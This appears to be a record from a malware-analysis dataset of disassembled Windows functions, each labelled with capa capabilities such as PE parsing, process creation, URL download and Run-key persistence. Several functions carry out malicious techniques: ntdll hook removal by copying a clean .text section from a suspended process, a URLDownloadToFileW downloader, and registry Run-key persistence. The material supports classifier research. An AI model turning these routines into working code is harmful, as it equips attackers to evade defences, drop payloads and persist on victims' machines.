joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001a87
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitThread]
call rax
nop

Function at 0x140001aa1
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitThread]
call rax
nop
Function at 0x140001abb
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140010048]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov dword [rbp - 0x20], eax
mov eax, dword [rbp - 0x20]
add eax, 1
cdqe
mov edx, 2
mov rcx, rax
call sym.calloc
mov qword [0x140010380], rax
mov rax, qword [0x140010380]
mov rcx, qword [0x140010048]
mov edx, dword [rbp - 0x20]
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rcx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
mov rax, qword [0x140010380]
lea rdx, [0x1400106d0]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call rax
mov qword [0x1400106c0], rax
mov eax, dword [0x1400106d0]
shl eax, 3
mov dword [rbp - 4], eax
mov dword [rbp - 8], 0
jmp 0x140001be5
mov rax, qword [0x1400106c0]
mov edx, dword [rbp - 8]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
mov r8, rax
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
mov dword [rbp - 0x24], eax
mov eax, dword [rbp - 0x24]
add dword [rbp - 4], eax
add dword [rbp - 8], 1
mov eax, dword [0x1400106d0]
cmp dword [rbp - 8], eax
jl 0x140001b82
mov eax, dword [rbp - 4]
cdqe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [0x1400106c8], rax
mov eax, dword [rbp - 4]
mov edx, dword [0x1400106d0]
shl edx, 3
sub eax, edx
mov dword [rbp - 0xc], eax
mov rax, qword [0x1400106c8]
mov edx, dword [0x1400106d0]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x1c], 0
jmp 0x140001ccb
mov rax, qword [0x1400106c0]
mov edx, dword [rbp - 0x1c]
movsxd rdx, edx
shl rdx, 3
add rax, rdx
mov rdx, qword [rax]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rbp - 0xc]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, rdx
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call rax
mov dword [rbp - 0x24], eax
mov rax, qword [0x1400106c8]
mov edx, dword [rbp - 0x1c]
movsxd rdx, edx
shl rdx, 3
add rdx, rax
mov rax, qword [rbp - 0x18]
mov qword [rdx], rax
mov eax, dword [rbp - 0x24]
cdqe
add qword [rbp - 0x18], rax
mov eax, dword [rbp - 0x24]
sub dword [rbp - 0xc], eax
add dword [rbp - 0x1c], 1
mov eax, dword [0x1400106d0]
cmp dword [rbp - 0x1c], eax
jl 0x140001c45
mov dword [0x140010040], 1
nop
add rsp, 0x70
pop rbp
ret
Function at 0x140001df4
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
cmp qword [rbp + 0x10], 0
jne 0x140001e0e
mov eax, 0
jmp 0x140001e74
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140001e2a
mov eax, 0
jmp 0x140001e74
mov dword [rbp - 0xc], 0x400
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
mov dword [rbp - 0x10], eax
cmp dword [rbp - 0x10], 0x400
jle 0x140001e4b
mov eax, 0
jmp 0x140001e74
mov eax, dword [rbp - 0x10]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001e70
mov eax, 0
jmp 0x140001e74
mov rax, qword [rbp - 0x18]
add rsp, 0x20
pop rbp
ret
Function at 0x140002686
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa8], 0
lea rax, [rbp + 0x20]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, rbp
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, rbp
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.C:WindowsSystem32GamePanel.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp]
test rax, rax
jne 0x140002748
lea rax, str.____Error_creating_process_r_n
mov rcx, rax
call dbg.__mingw_printf
mov eax, 0
jmp 0x140002834
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0xa0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0x20]
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sym.K32GetModuleInformation
mov eax, dword [rbp - 0x18]
mov ebx, eax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0xa8], rax
mov eax, dword [rbp - 0x18]
mov r9d, eax
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp]
mov r8, qword [rbp + 0xa8]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov dword [rbp + 0x94], eax
cmp dword [rbp + 0x94], 0
jne 0x140002818
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed___in_reading_ntdll___u__n
mov rcx, rax
call dbg.__mingw_printf
mov eax, 0
jmp 0x140002834
mov rax, qword [rbp]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0xa8]
add rsp, 0x138
pop rbx
pop rbp
ret
Function at 0x14000283e
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp - 0x3a], rax
mov word [rbp - 0x32], 0x6c
lea rax, [rbp - 0x3a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x40], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x20], rax
mov dword [rbp - 4], 0
jmp 0x1400029f1
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x20]
lea rcx, [rdx + rax]
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x46], 0x7865742e
mov word [rbp - 0x42], 0x74
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x46]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x1400029ed
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x10]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x40]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x140002958
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed___to_change_the_protection___u__n
mov rcx, rax
call dbg.__mingw_printf
mov eax, 0
jmp 0x140002a0a
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x10]
add rax, rcx
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp - 0x40]
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 0x10]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x40]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x30], eax
cmp dword [rbp - 0x30], 0
jne 0x1400029ed
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed___to_change_the_protection_back___u__n
mov rcx, rax
call dbg.__mingw_printf
mov eax, 0
jmp 0x140002a0a
add dword [rbp - 4], 1
mov rax, qword [rbp - 0x20]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 4], eax
jl 0x1400028a2
mov eax, 1
add rsp, 0x70
pop rbp
ret
Function at 0x140002fb0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140003020
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140010774]
mov rbx, rcx
test esi, esi
jle 0x140003150
mov rax, qword [0x140010778]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000306b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400030f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003050
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140003172
mov rax, qword [0x140010778]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140010778]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003157
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400030ee
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140003100
add dword [0x140010774], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140010778]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400030ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140003078
mov rax, qword [0x140010778]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003720
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400107e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400107c0]
test rbx, rbx
je 0x140003784
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000377b
test eax, eax
jne 0x14000377b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003760
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400039c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400039d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400039e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400039f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140003a3d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140003a34
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140003a3f
add rax, 0x28
cmp rax, r9
jne 0x140003a20
xor eax, eax
ret

Function at 0x140003a40
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140003ad0
mov rdx, qword [0x14000ca50]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140003abe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140003abe
cmp word [rax + 0x18], 0x20b
jne 0x140003abe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140003ad0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140003aa9
add rbx, 0x28
cmp rbx, rdi
je 0x140003ad0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140003aa0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140003ae0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ca50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003b00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003b08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003b00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140003b5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003b54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003b00
add rax, 0x28
cmp rax, r9
jne 0x140003b40
xor eax, eax
ret

Function at 0x140003b60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ca50]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003b7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003b88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003b7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140003ba0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000ca50]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140003bc0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140003bc8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140003bc0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140003c18
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140003c0f
test rcx, rcx
je 0x140003bc0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140003c00
xor eax, eax
ret

Function at 0x140003c20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000ca50]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003c3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003c48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140003c60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000ca50]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003c80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003c88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003c80
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140003c80
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140003cd4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140003ce0
add rdx, 0x28
cmp r9, rdx
jne 0x140003cc0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140003cf0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000ca50]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140003d12
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140003d20
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003d12
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140003d12
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140003d12
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140003d75
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140003d88
add rdx, 0x28
cmp r10, rdx
jne 0x140003d60
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140003d97
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140003da7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140003d7e
test ecx, ecx
jg 0x140003d90
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140004000
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x70
mov rdi, rcx
lea rcx, [rsp + 0x50]
call fcn.140003ca0
mov rbx, rax
cmp qword [rax + 0x18], 7
jbe 0x140004024
mov rbx, qword [rax]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140003ca0
cmp qword [rax + 0x18], 7
jbe 0x14000403b
mov rax, qword [rax]
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140004093
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000408e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004101
call fcn.140012270
movdqa xmm0, xmmword [0x14003ee60]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], di
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400040e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040fb
call fcn.140012270
shr ebx, 0x1f
xor bl, 1
movzx eax, bl
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
ret
call fcn.14001a984
nop
call fcn.14001a984
nop
int3
Function at 0x140005420
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x140045080]
xor rax, rsp
mov qword [rbp + 0x4f], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov r8d, 0x13
lea rdx, str.NamespaceGPTUtility
lea rcx, [rbp - 0x19]
call fcn.14000a0e0
nop
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x2f]
call fcn.140003ca0
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x1400054b2
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055f3
call fcn.140012270
movdqa xmm0, xmmword [0x14003ee70]
movdqu xmmword [rbp - 9], xmm0
mov byte [rbp - 0x19], 0
mov rdx, rbx
lea rcx, [rbp + 0xf]
call fcn.140003ca0
lea rax, [rbp + 7]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005545
mov eax, dword [rbp + 0x1f]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 7
cmova rcx, qword [rbp + 0xf]
lea rdx, [rbp + 0x2f]
cmp qword [rbp + 0x47], 7
cmova rdx, qword [rbp + 0x2f]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 7]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140005581
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000557c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055f9
call fcn.140012270
movdqa xmm0, xmmword [0x14003ee60]
movdqu xmmword [rbp + 0x1f], xmm0
xor eax, eax
mov word [rbp + 0xf], ax
mov rdx, qword [rbp + 0x47]
cmp rdx, 7
jbe 0x1400055d0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055ed
call fcn.140012270
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140012250
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rbp
ret
call fcn.14001a984
nop
call fcn.14001a984
nop
call fcn.14001a984
int3
Function at 0x140001000
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x28], 1
lea r8, str.www.google.com
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
mov r9d, 0x40
lea r8, str.LOLOLOLOL
lea rdx, str.LOLOLOLOL
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001030

Function at 0x140001928
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001972
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001972
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001972
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001972
cmp dword [rcx + 0x84], 0xe
jbe 0x140001972
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001974
xor al, al
add rsp, 0x28
ret